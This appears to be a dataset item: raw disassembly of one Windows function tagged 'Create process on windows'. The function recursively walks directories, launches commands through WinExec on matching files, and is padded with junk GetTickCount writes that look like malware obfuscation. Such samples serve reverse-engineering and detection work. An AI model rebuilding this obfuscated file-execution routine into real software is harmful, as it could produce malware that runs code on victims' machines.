Function at 0x469f38
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
lea eax, [ebp - 0x15c]
mov edx, dword [0x407360]
call fcn.00404ac8
mov ebx, 0x473e10
mov esi, 0x473e14
xor eax, eax
push ebp
push 0x46a317
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004028a0
call fcn.00402988
test eax, eax
jne 0x46a2e0
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
mov eax, 0x46a32c
call fcn.0040888c
test eax, eax
jne 0x46a2c3
mov dword [ebx], 0x975d
mov eax, 0x13a403
call fcn.00402da8
mov dword [ebx], eax
mov dword [esi], 0x3f0b8b
mov dword [esi], 0x1f77c7
call sub.kernel32.dll_GetTickCount_1
add eax, 0x266a2d
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0xcc2c2
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x2dfff8
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1965bc
mov dword [esi], eax
mov eax, 0x135da5
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0xb6f98
mov dword [esi], eax
mov eax, 0x29b998
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x40682b
mov dword [ebx], 0x3ee4de
mov dword [ebx], 0x233c0b
mov eax, 0xfef4d
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1ef4e8
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x294b5d
mov dword [esi], eax
mov eax, 0x28622
call fcn.00402da8
mov dword [ebx], eax
mov eax, 0x386428
call fcn.00402da8
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2686c4
mov dword [ebx], eax
mov dword [ebx], 0x1ba363
mov dword [ebx], 0x38ed7e
call sub.kernel32.dll_GetTickCount_1
add eax, 0x3c95b
mov dword [esi], eax
mov dword [esi], 0x1f4015
mov dword [ebx], 0xb5c5c
mov dword [ebx], 0x3e4112
mov dword [ebx], 0x25c6f
call sub.kernel32.dll_GetTickCount_1
add eax, 0x38b639
mov dword [esi], eax
mov dword [esi], 0x194a86
mov dword [ebx], 0x347a7
mov dword [ebx], 0x352dda
call sub.kernel32.dll_GetTickCount_1
add eax, 0x31f12b
mov dword [esi], eax
mov eax, dword [ebp - 0x150]
mov edx, 0x46a338
call fcn.00404568
je 0x46a2b0
mov eax, dword [ebp - 0x150]
mov edx, 0x46a344
call fcn.00404568
je 0x46a2b0
mov eax, dword [ebp - 0x154]
and eax, 0x10
cmp eax, 0x10
jne 0x46a15c
mov eax, dword [ebp - 0x150]
call fcn.00469f38
mov dword [ebx], 0x207f88
mov dword [ebx], 0x30109e
mov eax, 0x46a348
call fcn.004028b4
call fcn.00402864
jmp 0x46a2b0
lea edx, [ebp - 0x164]
mov eax, dword [ebp - 0x150]
call fcn.00408a20
mov eax, dword [ebp - 0x164]
lea edx, [ebp - 0x160]
call fcn.0040800c
mov eax, dword [ebp - 0x160]
mov edx, 0x46a354
call fcn.00404568
jne 0x46a2b0
mov dword [ebx], 0x31616b
mov eax, dword [esi]
call fcn.00402da8
add eax, 0xdf6dc
mov dword [ebx], eax
mov dword [esi], 0x34939c
mov eax, 0x22d17d
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0xae61c
mov dword [esi], 0x305789
push 0
push dword [0x4726d0]
lea eax, [ebp - 0x16c]
call fcn.00408b18
push dword [ebp - 0x16c]
push 0x46a364
push dword [ebp - 0x150]
push 0x46a370
lea eax, [ebp - 0x168]
mov edx, 5
call fcn.004044dc
mov eax, dword [ebp - 0x168]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1e9e86
mov dword [esi], eax
mov dword [ebx], 0x2be1f8
push 0
push dword [0x4726d0]
lea eax, [ebp - 0x174]
call fcn.00408b18
push dword [ebp - 0x174]
push 0x46a364
push dword [ebp - 0x150]
push 0x46a384
lea eax, [ebp - 0x170]
mov edx, 5
call fcn.004044dc
mov eax, dword [ebp - 0x170]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
mov dword [ebx], 0x4725
call sub.kernel32.dll_GetTickCount_1
add eax, 0x418d0
mov dword [esi], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x19ee17
mov dword [ebx], eax
mov dword [ebx], 0x2e840
inc dword [0x473e04]
mov dword [esi], 0x27bc54
mov eax, 0x28872e
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x29a91f
lea eax, [ebp - 0x15c]
call fcn.004088dc
test eax, eax
je 0x469fcf
lea eax, [ebp - 0x15c]
call fcn.00408900
mov dword [ebx], 0xfdf8d
mov dword [esi], 0x2ac5a6
mov dword [ebx], 0x1fcc24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a31e
lea eax, [ebp - 0x174]
mov edx, 6
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407360]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret